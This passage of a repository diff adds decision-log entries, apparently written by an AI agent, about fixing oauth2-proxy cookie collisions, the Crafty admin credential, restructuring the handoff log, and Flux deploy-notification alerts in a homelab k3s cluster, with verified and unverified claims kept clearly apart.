+  crafty side only (renaming the shared proxy's cookie would sign out every other gated app): a
+  unique `--cookie-name=_oauth2_proxy_crafty` plus a **host-scoped** `--cookie-domain`.
+  `--whitelist-domain` stays zone-wide — it governs post-login *redirect* targets, not cookie scope.
+
+**Considered and rejected: seeding `default.json` from a SOPS Secret.** Crafty does ship the hook —
+`find_default_password()` reads `app/config/default.json` (`username`, `password`, min 8 chars) and
+`delete_default_json` controls its removal — so an initContainer could make a rebuilt Crafty's admin
+password deterministic and git-managed. Rejected: the image entrypoint pulls its default config
+**only when `app/config` is empty** (`if [ ! "$(ls -A --ignore=.gitkeep ./app/config)" ]; then cp -r
+./app/config_original/* ./app/config/`). Writing `default.json` there pre-boot makes the directory
+non-empty and **suppresses the entire config bootstrap** — no `config.json`, no `credits.json`.
+Doing it safely means replicating the entrypoint's copy inside the initContainer, i.e. co-owning
+image-internal bootstrap logic that a 4.11 bump can change silently, to replace a one-command
+retrieval. Not worth it. If it is ever revisited, the `ls -A` guard is the landmine to design around.
+
+## What I verified
+
+- **Which layer refused**, from the sidecar's own access log: `[AuthSuccess] ...
+  groups:[platform-admins]` followed by Crafty's `/login` page and `POST /api/v2/auth/login/ → 401`.
+  oauth2-proxy admitted the user; Crafty rejected the local credential.
+- **The existing bootstrap credential is still usable**, so no DB surgery is needed to get in:
+  `users.last_update` **equals** `users.created` for `admin` (`09/05/2026, 08:10:04`) — the password
+  has never been changed — and admin's `last_login` is 09/14 from `127.0.0.1`, the API login that
+  created the "homelab" server. `default-creds.txt` is therefore live.
+- **The two cookie-secrets differ** — compared the two live Secrets (key presence/values compared
+  in-cluster, not printed), so neither proxy can decrypt the other's cookie; and both instances were
+  emitting the default cookie names on the shared `.home.keithjackson.dev` scope.
+- **The 3-strikes cooldown cannot fire behind this sidecar.** Crafty *records* failed attempts under
+  `get_remote_ip()` (honours `X-Forwarded-For` — the live tracker key is the chain
+  `"192.168.2.132, 10.0.0.123"`, with 1 attempt: the reported 401) but *checks* the cooldown under
+  `self.request.remote_ip`, always `127.0.0.1` here. The halves key differently, so
+  `get_recent_attempts()` always reads empty and `max_login_attempts: 3` never fires. Good
+  (**repeated guesses cannot lock the operator out**) and bad (that throttle is not a control we
+  have; the `platform-admins` gate is the only thing limiting who reaches the form). I had written
+  the opposite into the README from the config value alone before measuring it — the config key
+  existing is not the same claim as the code path running.
+- **`set_passwd` is unreachable in k8s**: it calls `getpass.getpass()` and needs a TTY; the container
+  runs `main.py -d -i`. Recovery must go through the DB.
+- **argon2 is installed only in `/crafty/.venv/bin/python`** — the system `python3` in that container
+  cannot import it, so the obvious reset one-liner fails.
+- **`dev.sh` does not forward stdin.** A `kubectl exec -i` through it hangs forever (provoked, not
+  assumed). So the runbook's reset generates its password **in-pod** into a `0600` file — Crafty's own
+  `default-creds.txt` idiom — rather than passing a secret through argv, stdin or shell history.
+- **Gate:** toolbox `./ci/gate.sh` — see the next section for the exit code. Green stages:
+  `spec-immutability`, `lint`, `l0`, `render-golden`, `l1`.
+
+## What I did NOT verify
+
+- **No browser round-trip.** The sign-in fix is **UNVERIFIED end-to-end**. The cookie change is
+  reasoned from measured facts (default cookie names on both, shared domain, differing secrets) and
+  renders correctly, but nobody has signed in through it. The human test is in
+  `platform/crafty/README.md`.
+- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. The running pod is
+  still the pre-fix spec (`crafty-64f7b6d78-pkpgp`, 2/2, 15d, 0 restarts — unchanged by this
+  session's read-only probes). **Merging is what deploys, and it will restart the pod** —
+  `strategy: Recreate` on an RWO volume, so the "homelab" Minecraft server stops and restarts. Pick
+  the moment.
+- **Gate rc 3, not 0.** Green: `spec-immutability`, `lint`, `l0`, `render-golden`, `l1`. **Skipped:**
+  `gitea-settings` (no `SETTINGS_API_TOKEN`) and **L2/L3 conformance** (`CLUSTER_AVAILABLE` unset) —
+  touched requirements `R-DNS-01 R-NET-01 R-OBS-04 R-PLAT-02 R-STATE-01` are **not certified**.
+  Nothing failed; nothing runtime was proven either. **rc 3 is UNDETERMINED, not green.**
+- **The admin password was not rotated**, and the bootstrap credential is still the standing admin
+  credential. The runbook says to rotate on first sign-in; that is an operator action and is still
+  open.
+- **The cookie collision's symptom was never reproduced in a browser.** This is the part of the
+  change with no observed failure to point at — the sidecar trace above shows a *working* session,
+  because that browser had not visited another gated app first. It is a latent-bug fix.
+
+### Follow-ups
+
+1. **Sign in and rotate** — `runbooks/crafty-admin-credential.md`, then confirm `last_update` moves
+   off `created`. Until then the panel's admin password is a value generated on 2026-09-05 that has
+   sat unchanged and undocumented.
+2. **Decide whether the inert brute-force cooldown matters.** Fixing it is upstream (Crafty keys the
+   two halves differently); the alternative is to accept the `platform-admins` gate as the only
+   throttle and say so.
+3. **Any further per-app reverse-proxy sidecar needs a unique `--cookie-name` too.** The collision is
+   a property of the pattern, not of Crafty. Worth an L0 check asserting that every oauth2-proxy
+   instance in the tree declares a distinct cookie name — the failure is silent and intermittent,
+   which is exactly the shape this repo keeps getting burned by.

decisions/2026-09-29-decisions-log-conflict-free.md

@@ -0,0 +1,82 @@
+---
+date: 2026-09-29
+branch: chore/decisions-log-conflict-free
+title: The handoff log was serialising every parallel branch — it is a directory now
+---
+
+## What changed
+
+`DECISIONS-LOG.md` is frozen and the handoff log is now a directory, `decisions/`, with one
+file per entry (`YYYY-MM-DD-<slug>.md`). Concurrent branches write disjoint paths, so there
+is nothing for git to merge.
+
+The problem was not any particular change. CLAUDE.md §7 told every agent to append a handoff,
+and appending always landed on the *same last hunk* of one 5,228-line file. Two branches that
+both did it could not auto-merge; N branches cost N-1 rebases, and each rebase invalidated the
+gate run before it. The agents work in isolated worktrees precisely so they don't block each
+other, and this one file undid that.
+
+- `decisions/README.md` — the convention, the template, and how to read the log. No index file
+  and no sequence number, deliberately: an index is a shared mutable file (the thing that just
+  failed) and a counter has two agents racing for the same number. The directory listing is the
+  index.
+- `DECISIONS-LOG.md` — a "FROZEN ARCHIVE" header prepended; content otherwise untouched. Its
+  SHA-256 is pinned in `decisions/ARCHIVE.sha256`.
+- `ci/decisions-log.sh` — a new gate stage. Asserts the archive matches its pin, and that every
+  entry is named `YYYY-MM-DD-<slug>.md` with a real date, carries `date`/`branch`/`title`
+  frontmatter agreeing with its filename, and has all three of §7's sections with a real body
+  under each. Exit 0 or 1 only; it has no skip path by construction, because it reads only files
+  in the tree under test and needs no tool and no cluster.
+- `ci/gate.sh` — runs the stage; both `fail` and (impossible) `skip` set `BLOCK`. There is no
+  `REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard.
+- `ci/tests/decisions-log.test.sh` — 22 assertions, new.
+- `ci/tests/gate-decision.test.sh` — 3 new assertions for the stage's wiring, **plus a
+  pre-existing bug fixed**: its stub list never included `gitea-settings`, so that stage's
+  script was absent from the stub CI dir, `run_stage` recorded exit 127 as a FAILED stage in
+  every case, and 15 of 47 assertions failed on `main`. The suite was measuring its own missing
+  stub rather than the decision logic.
+- `CLAUDE.md` §7 rewritten; §1's "stale runbook wording" caveat extended to the log.
+- `ci/Makefile`, `ci/README.md`, `.gitea/workflows/README.md` — the stage named where stages are
+  named.
+
+A guard rather than a paragraph, because the old habit is written into the runbooks and into
+every agent that has read the log, and getting it wrong does not fail: it produces a clean-looking
+commit that re-creates the conflict on *other people's* branches, later, misattributed.
+
+## What I verified
+
+Measured against the live Gitea (`GET /api/v1/repos/Home-Network/home-network-k3s-impl/pulls`,
+2026-09-29), not inferred from the tree:
+
+    #22 fix/crafty-oauth2-proxy-signin      mergeable=False
+    #20 feat/conformance-job-template       mergeable=False
+    #19 feat/conformance-trigger-kubeconfig mergeable=False
+    #18 feat/conformance-runner-image       mergeable=False
+    #17 feat/ci-is-the-approver             mergeable=True
+
+`git merge-tree --write-tree origin/main origin/<branch>` for each named
+`CONFLICT (content): DECISIONS-LOG.md` and **no other conflicting path** in all four. #17 is
+clean and touched no log entry. So the log's storage format was the whole of the blockage.
+
+Tests: `ci/tests/decisions-log.test.sh` **PASS (22 assertions)**, including the one that
+matters — an append to `DECISIONS-LOG.md` exits non-zero and the message names both the frozen
+archive and the file to write instead. `ci/tests/gate-decision.test.sh` **PASS (50 assertions)**,
+up from **FAIL (15 failed, 32 passed)** on `main` before the stub fix.
+
+Gate: see the run quoted in the PR description.
+
+## What I did NOT verify
+
+- **Nothing was applied and nothing was merged.** No `kubectl`, no `flux reconcile`. This change
+  touches only CI and documentation; it has no cluster-visible effect at all.
+- **L2/L3 conformance did not run** (`CLUSTER_AVAILABLE` unset), as always. Irrelevant to this
+  change's content but stated so the gate result is not over-read.
+- **I have not watched a Gitea PR check run this stage.** The stage is proven by its own unit
+  test and by the gate locally; that the `incluster-dind` runner executes it is unobserved here.
+  A skipped Gitea job still reports `success`, so read the job log, not the tick.
+- **The four hung PRs are not yet fixed by this commit.** They still carry their
+  `DECISIONS-LOG.md` appends and will still conflict until each is rebased onto this change with
+  its append converted to a `decisions/` entry. That is follow-up work, in flight separately.
+- **`runbooks/` and older entries still say "append to DECISIONS-LOG.md"** in places. I did not
+  sweep them. The gate now rejects the action, so the stale wording misleads but cannot cause
+  the damage; it joins the existing tracked work on stale `git push origin main` wording.

decisions/2026-09-29-flux-deploy-notifications.md

@@ -0,0 +1,144 @@
+---
+date: 2026-09-29
+branch: feat/flux-deploy-notifications
+title: Flux deploy notifications — the operator now gets mail when a git change starts rolling out and when it completes
+---
+
+## What changed
+
+The operator was getting **no notification when Flux began applying a git change, and none when it
+finished**. Root cause, measured rather than inferred: `notification-controller` v1.4.0 is running
+(`1/1` ready) and the `Provider`/`Alert`/`Receiver` CRDs are installed and serving `v1beta3`, but
+there are **zero `Provider` and zero `Alert` objects in the entire cluster** (`kubectl get
+providers,alerts -A` → `No resources found`). Nothing in git ever created any. The five `gotk_*`
+rules in `platform/monitoring/alerts.yaml` only cover *failures* (`FluxReconciliationFailure`,
+`FluxResourceSuspended`) — nothing covered the healthy path.
+
+**The obvious fix does not work, and this is the substance of the change.** Neither Flux event can be
+filtered into a deploy signal:
+
+- `ReconciliationSucceeded` is a **heartbeat, not a change signal**. 16 Kustomizations, 15 on
+  `interval: 10m` → **101 such events in one hour**, with the message `Reconciliation finished in
+  324.161192ms, next run in 10m0s` — byte-identical in shape whether the apply changed anything or
+  not. An `Alert` at `eventSeverity: info` would have mailed ~100 times an hour.
+- `Progressing` is worse. Five Kustomizations re-apply the same object on **every** tick — event
+  counts **2505 / 2504 / 2501 / 2495 / 2490** (`apps-vms` → `NetworkPolicy/unifi/default-deny`,
+  `platform` → `CustomResourceDefinition/cdis.cdi.kubevirt.io`, `apps-wave-0/1/2` →
+  `NetworkPolicy/{gitea,nextcloud,seerr}/default-deny`). Anything keyed on `Progressing` would mail
+  five times every ten minutes, forever.
+- `gotk_*` carries **no revision label anywhere** — `gotk_reconcile_condition` 120 series,
+  `gotk_suspend_status` 40, not one with a revision.
+
+The applied **revision** is the only signal that moves when and only when git moves, and it lives in
+object status alone. So:
+
+1. **`platform/monitoring/kube-prometheus-stack.yaml`** — two resources added to the *existing*
+   `kube-state-metrics.customResourceState` config (the Velero-Schedule path, already enabled):
+   `kube_flux_kustomization_info{revision}` + `kube_flux_kustomization_suspended` (from
+   `status.lastAppliedRevision` / `spec.suspend`) and `kube_flux_gitrepository_info{revision}` (from
+   `status.artifact.revision`). Plus the two mandatory read-only `rbac.extraRules` entries, and a
+   `podAnnotations` roll-counter — the chart sets **no checksum annotation** over that ConfigMap, so
+   a config-only edit would have left KSM running the old collector set with the new metrics absent
+   and the new alerts silently inert. Named `kube_flux_*`, never `gotk_*`, for the same reason
+   `kube_velero_schedule_*` is not `velero_*`: these are KSM series about Kubernetes objects.
+   Cost: 33 series.
+2. **`platform/monitoring/alerts.yaml`**, group `platform-health.flux` — `FluxRolloutInProgress`
+   (`severity: info`, **no `for:`**) fires the moment any non-suspended Kustomization's applied
+   revision is not the revision the GitRepository fetched from `main`, and **clears when all have
+   caught up**. Fired mail = "a deploy started"; **resolved mail = "it completed"** — the completion
+   half is delivered by `send_resolved`, not by a second rule. `FluxRolloutStuck` (`severity:
+   warning`, `for: 30m`) is the same expression as the escalation for a rollout that started and
+   never converged.
+3. **Alertmanager** — a dedicated `severity = "info"` route and `email-deploy` receiver, subject
+   `[FLUX] applying|applied — …`. Without it a routine deploy would have arrived subject-lined
+   `[WARNING]` via the catch-all receiver and become indistinguishable from a real fault.
+   `group_by: [alertname]` collapses all 16 Kustomizations into one mail per rollout;
+   `group_interval: 2m` so completion is not held 4m behind the event.
+4. **`platform/monitoring/tests/flux-rollout.test.yaml`** — 6 promtool scenarios, both directions.
+5. **`runbooks/flux-rollout.md`** (+ its `configMapGenerator` entry) and a `kube_flux_` entry in
+   `conformance/tests/l0-static/alert-metrics-have-scrape-targets/check.sh` whose `require` patterns
+   pin `customResourceState`, both `metricNamePrefix`es, both `apiGroups` and the roll-counter — so
+   deleting any of them fails the gate instead of silently re-inerting the alerts.
+
+Two guards in the expression, each with a test whose only job is to fail if that clause is removed:
+`and on () (count(kube_flux_gitrepository_info…) > 0)` (without it, a missing exporter makes
+`unless on (revision) <empty>` remove nothing and **all 16 Kustomizations alert forever** — the
+permanently-firing mode this repo shipped once already), and `unless on (namespace, name)
+(kube_flux_kustomization_suspended == 1)` (a suspended Kustomization pins an old revision by design
+and would hold the rollout open, so the "applied" mail would never arrive).
+
+## What I verified
+
+Measured against live prod (`--context k3s-prod`) **before** writing anything, and quoted here as
+measured:
+
+- `notification-controller` `1/1`, image `ghcr.io/fluxcd/notification-controller:v1.4.0`;
+  `alerts`/`providers`/`receivers.notification.toolkit.fluxcd.io` all serve `v1beta3` (storage);
+  `get providers,alerts -A` → **`No resources found`**. This is the defect.
+- Event counts above, from `kubectl get events -A -o json` filtered to `toolkit.fluxcd.io`
+  involvedObjects: 101 `Kustomization/ReconciliationSucceeded`, 10 `Progressing`, 15
+  `DependencyNotReady`, 4 `GitRepository/GitOperationSucceeded`, 1 `NewArtifact`.
+- The `gotk_*` family **is** in the TSDB now (`flux-podmonitor` works): 6 targets up in job
+  `flux-system/flux-system`, `gotk_reconcile_condition` 120 series, `gotk_suspend_status` 40
+  (`{kind="Kustomization"}` = 16) — and none carries a revision.
+- `customResourceState` already works end to end: `kube_velero_schedule_{created,paused,
+  protects_volume_data,info}` = 2 series each.
+- Both CRDs serve **`v1` as the storage version**; `GitRepository/flux-system`
+  `.status.artifact.revision` = `main@sha1:b93594b7c85aeec4d28e008b239d61d181e1e6de`, `spec.interval`
+  `1m`; all 16 Kustomizations report that same `lastAppliedRevision`; **none** sets `spec.suspend`
+  (which is why `nilIsZero: true` is mandatory).
+- Reachability for the follow-up below: `flux-system/allow-egress` is `egress: [{}]` (allow-all) and
+  the `monitoring` namespace has **no NetworkPolicy at all**, so nothing blocks flux-system →
+  `kube-prometheus-stack-alertmanager` (`10.43.60.242:9093`).
+- `promtool test rules` on the new suite: **SUCCESS**, 53 rules parsed, promtool 3.14.0 from the
+  pinned toolbox. All 6 scenarios pass, including both guard tests and the convergence test that
+  proves the alert empties itself (the completion mail).
+- Full gate in the pinned toolbox: `lint`, `l0`, `render-golden`, `l1`, `decisions-log`,
+  `spec-immutability` all **green** — `l0` includes `alert-metrics-have-scrape-targets`,
+  `alert-rules-unit-tested` and `alert-runbooks-resolvable`, i.e. the new owner entry, the new tests
+  and the new runbook all cleared their own checks. Coverage 51/51.
+
+## What I did NOT verify
+
+- **No mail has been sent.** Nothing here has run on the cluster: the metrics do not exist yet, the
+  rules are not loaded, and the `email-deploy` receiver has never delivered. The end-to-end claim
+  ("a merge produces an `[FLUX] applying` mail and then an `[FLUX] applied` mail") is **UNVERIFIED**
+  and can only be proven by merging this and watching the *next* commit. Agents cannot apply, and
+  CI has no cluster (`vars.CLUSTER_AVAILABLE` unset → L2/L3 did not run).
+- **The KSM custom-resource-state paths are asserted, not observed.** I verified the CRD storage
+  versions and that each status field is populated on the live objects, but I have not seen KSM emit
+  `kube_flux_*`. If a path is wrong KSM emits the metric with the label **omitted**, `revision!=""`
+  then drops the series, and the alerts go quiet rather than wrong — the safe direction, but the
+  first thing to check after merge:
+  `count by (__name__) ({__name__=~"kube_flux.*"})` must return **three** names.
+- **KSM memory was not re-measured.** Limit is 384Mi against a working set of ~111–123Mi; this adds
+  two small informers (16 + 1 objects). 91 OOMKills followed the *last* CRS addition at a 128Mi
+  limit, so re-measure `max_over_time(container_memory_working_set_bytes{container="kube-state-metrics"}[6h])`
+  after this settles rather than assuming the headroom holds.
+- **Alertmanager's `.Status` subject template is untested.** `[FLUX] applying|applied` relies on
+  `.Status` being `firing`/`resolved` in the notification template data. Wrong, and the mail still
+  arrives with a poorer subject — cosmetic, but unproven.
+- **The `notification-controller` `Provider`/`Alert` half is designed but NOT shipped.** It was cut
+  deliberately: its unique value over the rules above is the human-readable **commit subject**
+  (`GitRepository`/`NewArtifact`, count 1 per commit, message `stored artifact for commit '<subject>'`,
+  revision in `source.toolkit.fluxcd.io/revision` metadata), and notification-controller has **no
+  SMTP provider**, so it must post into Alertmanager via `type: alertmanager` at
+  `http://kube-prometheus-stack-alertmanager.monitoring.svc:9093/api/v2/alerts`. I could not
+  establish **what label set that provider actually emits** (whether it sets `alertname`, and whether
+  `severity` is `info`) without applying it, and the `email-deploy` route matches on `severity`. So
+  the route design would have rested on a guess. Follow-up: apply it, read the resulting labels off
+  Alertmanager, then wire the route — and put it in its **own `wait: false` Flux Kustomization**
+  (never `platform` or `platform-config`, both `wait: true`), because a notification mechanism that
+  cannot go Ready must never be able to stall the delivery graph, which is the twice-shipped
+  cold-start deadlock this repo already documents.
+- **The 2500-count drift loop is NOT fixed, and is not mine.** Five Kustomizations have been
+  re-applying the same object every 10 minutes for ~25 days: something outside git is mutating
+  `NetworkPolicy/{unifi,gitea,nextcloud,seerr}/default-deny` and
+  `CustomResourceDefinition/cdis.cdi.kubevirt.io` after Flux applies them. Cause **UNVERIFIED** —
+  I only measured the event counts. It is a real defect (constant write load on the API server and
+  etcd, on a cluster with a known etcd I/O problem on prod-1) and it deserves its own branch. The
+  alerts here are immune to it by construction: they read revisions, not events.
+- **Branch protection / runner state re-measured? No.** The `gitea-settings` stage **SKIPPED**
+  (`SETTINGS_API_TOKEN` unset), so whether `main` is still protected and the gate still required is
+  UNVERIFIED by this run. The gate's overall verdict is therefore **rc 3, not rc 0** — every stage
+  that ran is green, and one stage did not run.

decisions/2026-09-30-flux-deploy-notification-inhibited.md

@@ -0,0 +1,95 @@
+---
+date: 2026-09-30
+branch: fix/flux-deploy-notification-inhibited
+title: The deploy notification routed correctly and was then inhibited before sending — `severity: info` is a suppressed class in kube-prometheus-stack
+---
+
+## What changed
+
+`FluxRolloutInProgress` (shipped hours earlier in PR #25) fired correctly on the very first real
+deploy and **its mail was suppressed before Alertmanager sent it**. One label changed:
+
+- `platform/monitoring/alerts.yaml` — `FluxRolloutInProgress` now carries `notification: deploy` and
+  **no `severity` label at all**, where it previously carried `severity: info`.
+- `platform/monitoring/kube-prometheus-stack.yaml` — the deploy route matches
+  `notification = "deploy"` instead of `severity = "info"`. Receiver, subject and grouping unchanged.
+- `platform/monitoring/tests/flux-rollout.test.yaml` — the three `FluxRolloutInProgress` `exp_labels`
+  blocks updated. `FluxRolloutStuck` keeps `severity: warning` and is unaffected.
+
+**The mechanism, measured rather than reasoned about.** kube-prometheus-stack's `general.rules`
+ships:
+
+    InfoInhibitor:
+      group by (namespace) (ALERTS{severity="info"} == 1)
+        unless on (namespace) group by (namespace)
+          (ALERTS{alertname!="InfoInhibitor", alertstate="firing", severity=~"warning|critical"} == 1)
+
+which fires for any namespace holding a firing `severity="info"` alert **and nothing else wrong in
+it**. The chart's third `inhibit_rule` then drops exactly that alert:
+
+    source_matchers: [alertname="InfoInhibitor"]
+    target_matchers: [severity="info"]
+    equal:           [namespace]
+
+For a deploy notification this is the worst possible interaction, because the suppressed case is the
+*only* case that matters: on a healthy rollout of a healthy cluster, `flux-system` holds no warning
+or critical alert, so `InfoInhibitor` fires and the deploy mail is inhibited. It would have been
+delivered only when something else in `flux-system` was already broken.
+
+Upstream's intent is explicit and reasonable — `severity: info` means "only worth showing next to a
+real problem". A deploy notice is not that, so it must not claim that severity. `notification` is a
+label **no** `inhibit_rule` in the chart targets (all three match on severity values), and dropping
+`severity` also stops `InfoInhibitor` firing for `flux-system` at all rather than merely working
+around it. Both files carry the full reasoning inline, and `alerts.yaml`'s design header now names
+the severity label as a third thing that must not regress — "do not tidy this by adding a severity"
+— because the next reader's instinct will be to add one back.
+
+## What I verified
+
+Against live prod, after PR #25 merged as `64c72fd` and Flux converged:
+
+- **The metrics work.** `kube_flux_kustomization_info` 16, `kube_flux_kustomization_suspended` 16,
+  `kube_flux_gitrepository_info` 1 = **33 series, exactly as designed**. The `revision` label IS
+  populated (`main@sha1:296d6d3…` / `…64c72fd…`), so the `status.lastAppliedRevision` /
+  `status.artifact.revision` paths are correct — previously UNVERIFIED.
+- **The `podAnnotations` roll mechanism works.** The KSM pod carries
+  `homelab.keithjackson.dev/crs-config-rollout: 1` and is a new pod
+  (`…-7b56d98f46-56n8j`, replacing the 2026-09-19 one), so the config-only-change trap was
+  genuinely closed rather than merely documented.
+- **The rule works, in both directions.** It fired for **12** lagging Kustomizations while 4 had
+  converged (`count by (revision)` → 12 old / 4 new), each alert carrying its own `name` and
+  `revision`; then the rollout converged (`count(count by (revision) (…))` → **1**) and the alert
+  **cleared**. Firing and self-clearing are both confirmed on real data, which is the completion
+  notification's whole mechanism.
+- **The routing works.** `amtool config routes` shows
+  `{notification="deploy"} → receiver: email-deploy` under the default route, and
+  `amtool config routes test notification=deploy` returns `email-deploy`.
+- **The inhibition was real.** `InfoInhibitor` went active `2026-09-30T04:58:48Z` — the same moment
+  the alert began firing — and `amtool alert query` showed **no** `FluxRolloutInProgress` in
+  Alertmanager, active or `--inhibited`. `alertmanager_notifications_failed_total{integration=email}`
+  is 0 for every reason, so nothing failed to send; it was never dispatched.
+- promtool: **SUCCESS**, 53 rules, 6 scenarios, promtool 3.14.0 in the pinned toolbox.
+
+## What I did NOT verify
+
+- **No deploy mail has been observed in the inbox — this fix is UNVERIFIED end to end.** The
+  suppression was proven (nothing in Alertmanager, zero send failures) and the routing was proven
+  (`amtool config routes test` → `email-deploy`), but the delivered message is not. It can only be
+  proven by merging this and watching the next commit produce `[FLUX] applying` and then
+  `[FLUX] applied`. Same structural gap as PR #25, one layer further along.
+- **Whether the single email during the window was ours.**
+  `alertmanager_notifications_total{integration="email"}` went 226 → 227 while other alerts
+  (`Watchdog`, `CNPGPrimariesCoLocated`) were also active, and that counter carries no receiver
+  label, so the increment cannot be attributed. I am NOT claiming our mail was or was not sent — the
+  attribution is genuinely unavailable from this metric.
+- **Whether `InfoInhibitor` interacts with `FluxRolloutStuck`.** Stuck is `severity: warning`;
+  inhibit_rule 1 (`critical` → `warning|info`) requires an equal `alertname`, so it should not
+  apply — reasoned, not measured. Worth confirming the first time a rollout genuinely hangs.
+- **The `[FLUX] applying|applied` subject template** is still untested; `.Status` is assumed to be
+  `firing`/`resolved` in the notification template data.
+- **`required_approvals` disagreement, unresolved and not mine to settle.** Live branch protection
+  reads `required_approvals: 1`, while the `ci/gate.sh` comment introduced by PR #17 describes the
+  model as `required_approvals: 0` ("the gate is the approver"). `ci/gitea-settings.sh` may report
+  this as drift against `infra/gitea/expected-branch-protection.json`. Flagged only.
+- **The drift loop is still unexplained.** Five Kustomizations re-applying the same object every
+  10 minutes (event counts ~2500) — untouched, cause unknown, still deserves its own branch.

decisions/2026-09-30-jackett-oauth2-proxy-session.md

@@ -0,0 +1,273 @@
+---
+date: 2026-09-30
+branch: fix/jackett-oauth2-proxy-session
+title: Jackett — radarr's oauth2-proxy deletes jackett's session cookie; the fix cannot be made per-app
+---
+
+## What changed
+
+Reported as *"GET requests work, but most PUT/POST requests to add indexers fail. Reloading the page
+never fixes it, and I am never re-prompted for login if it is a login issue."*
+
+**This branch lands the diagnosis and a runbook. It does NOT land the manifest fix, and that is a
+deliberate stop, not an omission** — see *The fix has one home and it is shared*, below.
+
+Three mechanisms, all measured. **Weighting matters here, so it is stated up front:** mechanisms 2
+and 3 are demonstrated from Jackett's own access log and **between them fully explain the report as
+written** — PUT/POST fail, the operator is never re-prompted, and a reload does not help. Mechanism 1
+is a real, firing defect that Jackett genuinely violates, and it explains the *intermittency* on top;
+I demonstrate the mechanism and one three-second causal adjacency, not a population of them. Fix all
+three; do not rest the case on the first.
+
+**1. Cookie collision — the mechanism is firing, and Jackett is a genuine violator.** Six oauth2-proxy
+instances (seven pods) emit oauth2-proxy's **default** cookie name `_oauth2_proxy` scoped to
+`.home.keithjackson.dev` while holding seven **different** cookie-secrets. The ping-pong is in two
+pods' own logs, interleaved to the second:
+
+    15:23:17  radarr   [AuthSuccess]                                   -> radarr writes _oauth2_proxy
+    15:23:44  jackett  "cookie signature not valid, removing session"  -> re-login #1
+    15:23:58  radarr   "cookie signature not valid, removing session"  -> radarr DELETES jackett's
+    15:27:17  jackett  [AuthSuccess]                                   -> re-login #2
+    15:27:59  radarr   "cookie signature not valid, removing session"
+    15:31:06  jackett  [AuthSuccess]                                   -> re-login #3
+    15:31:29  radarr   "cookie signature not valid, removing session"  <- deletes it again
+    15:31:32  jackett  "No valid authentication in request"            <- 3 SECONDS later, no cookie
+
+`removing session` is oauth2-proxy calling ClearSession, which expires the cookie on **its own**
+`--cookie-domain` — the whole zone. So jackett's session is not merely overwritten, it is **deleted
+by a process in another namespace**, 26 s after a clean login whose own `expires` was five minutes
+out. That is the answer to the open question in the brief ("26 s is well inside the 5-minute window,
+so plain expiry does not explain it"): it was never expiry, and it was never Jackett.
+
+It also explains the half of the report that looked like user error. **Reloading genuinely does not
+help**, because the operator's Radarr tab re-clears the cookie seconds after each new login — and
+Radarr is not a passive tab. Its UI polls: of 156 unauthenticated requests in its log against
+**1** AuthSuccess, the top paths are `/api/v3/command` (62), `/api/v3/queue/details` (46) and
+`/signalr/messages/negotiate` (43). Every one of those polls, arriving with a cookie Radarr cannot
+decrypt, calls ClearSession again. **A left-open Radarr tab is a cookie-deletion engine firing every
+few seconds**, which is why Jackett's sessions die at irregular, short, apparently random intervals.
+
+**A counter-hypothesis was put to me and it does not survive bounding.** The observation was that
+Crafty already carries this fix yet showed the platform's worst failure ratio (81:1 over 24 h from
+Loki), implying the fix does not work. But Crafty's pod started **2026-09-30T03:57:19Z with 0
+restarts**, so a 24 h window is ~10 h of the *pre-fix* pod. Rather than bound it in Loki I read the
+ratio off the pod's own log, whose boundary is the process start and therefore exact: **inside the
+fixed pod's entire 13 h 52 m lifetime, Crafty logged 3 `No valid authentication` events, not 81** —
+from one client IP, two of them WebSocket `/ws` reconnects, in two isolated minutes (04:02 and
+15:22), against 0 AuthSuccess because nobody signed in. Post-fix Crafty is idle, not broken. The
+ratio metric is confounded by endpoint type — apps that poll or hold WebSockets (Radarr, Crafty)
+manufacture failure lines at their retry rate — so it ranks *chattiness*, not breakage. Correctly
+bounded, Crafty is evidence **for** the fix.
+
+**2. Session lifetime pinned to a 5-minute access token.** Measured from the sidecar's own
+`[AuthSuccess]`: `created:15:31:06.391860254` / `expires:` + **300.000 s** exactly, with
+`refresh_token:true` on the same line. `--cookie-refresh` is unset and its default is `0`
+(disabled), so the proxy holds a refresh token it has no mandate to spend.
+
+**3. XHRs answered with 302 instead of 401 — why none of it was visible.** oauth2-proxy's built-in
+AJAX guard fires only on an **exact** `Accept: application/json`, which Jackett's jQuery does not
+consistently send. Measured on `/api/` paths in this pod's log: **33 × 302 against 2 × 401**, and the
+split runs straight through Jackett's own POSTs (`/api/v2.0/server/adminpassword` → 401,
+`/api/v2.0/server/update` → 302). A 302 on an unauthenticated XHR is followed invisibly by the
+browser, satisfied silently by the live Keycloak SSO session, and resolves with HTML where the
+JavaScript expected JSON — no prompt, no error. On a write it is worse: a browser following a 302
+re-issues a POST as a **GET and drops the body**, so the indexer configuration is discarded with
+nothing logged as a failure anywhere.
+
+### The fix has one home, and it is shared — this is the blocker
+
+The brief assigned me `apps/wave-0/jackett.yaml` as exclusively mine, and assigned the other four
+apps to a sibling branch. **That split is not implementable, and I found out by trying it.**
+
+`apps/wave-0/jackett.yaml` is a **generated golden**. The sidecar's argument list is built by one
+shared function, `_oauth2_sidecar_container()` in `catalog/render.py`. `catalog/jackett.yaml`
+declares only `auth.mode` and `auth.groups`, and the `auth` schema is `additionalProperties: false`
+— **there is no per-app override hook**. I wrote the fix into the rendered file first; the merge
+gate rejected it exactly as designed:
+
+    [fail] GOLDEN DRIFT: apps/wave-0/jackett.yaml does not match the canonical render
+    [fail] stage render-golden: FAIL          ->  MERGE GATE: BLOCKED   (rc 1)
+
+So I made the change at its real source instead and **measured the blast radius** before committing
+to it. A change confined to that one function rewrites the sidecar block in **all five** rendered
+apps, and `render-golden` requires all five be regenerated in the same commit:
+
+    CHANGED: apps/wave-0/jackett.yaml
+    CHANGED: apps/wave-0/pihole.yaml
+    CHANGED: apps/wave-0/qbittorrent.yaml
+    CHANGED: apps/wave-1/radarr.yaml
+    CHANGED: apps/wave-1/sonarr.yaml
+
+Four of those five are the files I was explicitly told not to touch, and all four are being edited
+right now on `fix/oauth2-proxy-cookie-collision-fleet`. **The gate and the ownership boundary are in
+direct contradiction**: I cannot fix Jackett's sidecar without regenerating four files another
+branch owns, and two branches rewriting the same generated block across five files is precisely the
+cross-branch conflict this repo's §7 exists to prevent.
+
+I stopped rather than force it. **The cookie fix is one change, not five**, and it should be re-cut
+as a single renderer commit on one branch. The intended content, validated below:
+
+    --cookie-name=_oauth2_proxy_{name}        # per-app, derived
+    --cookie-domain={host}                    # host-scoped, derived
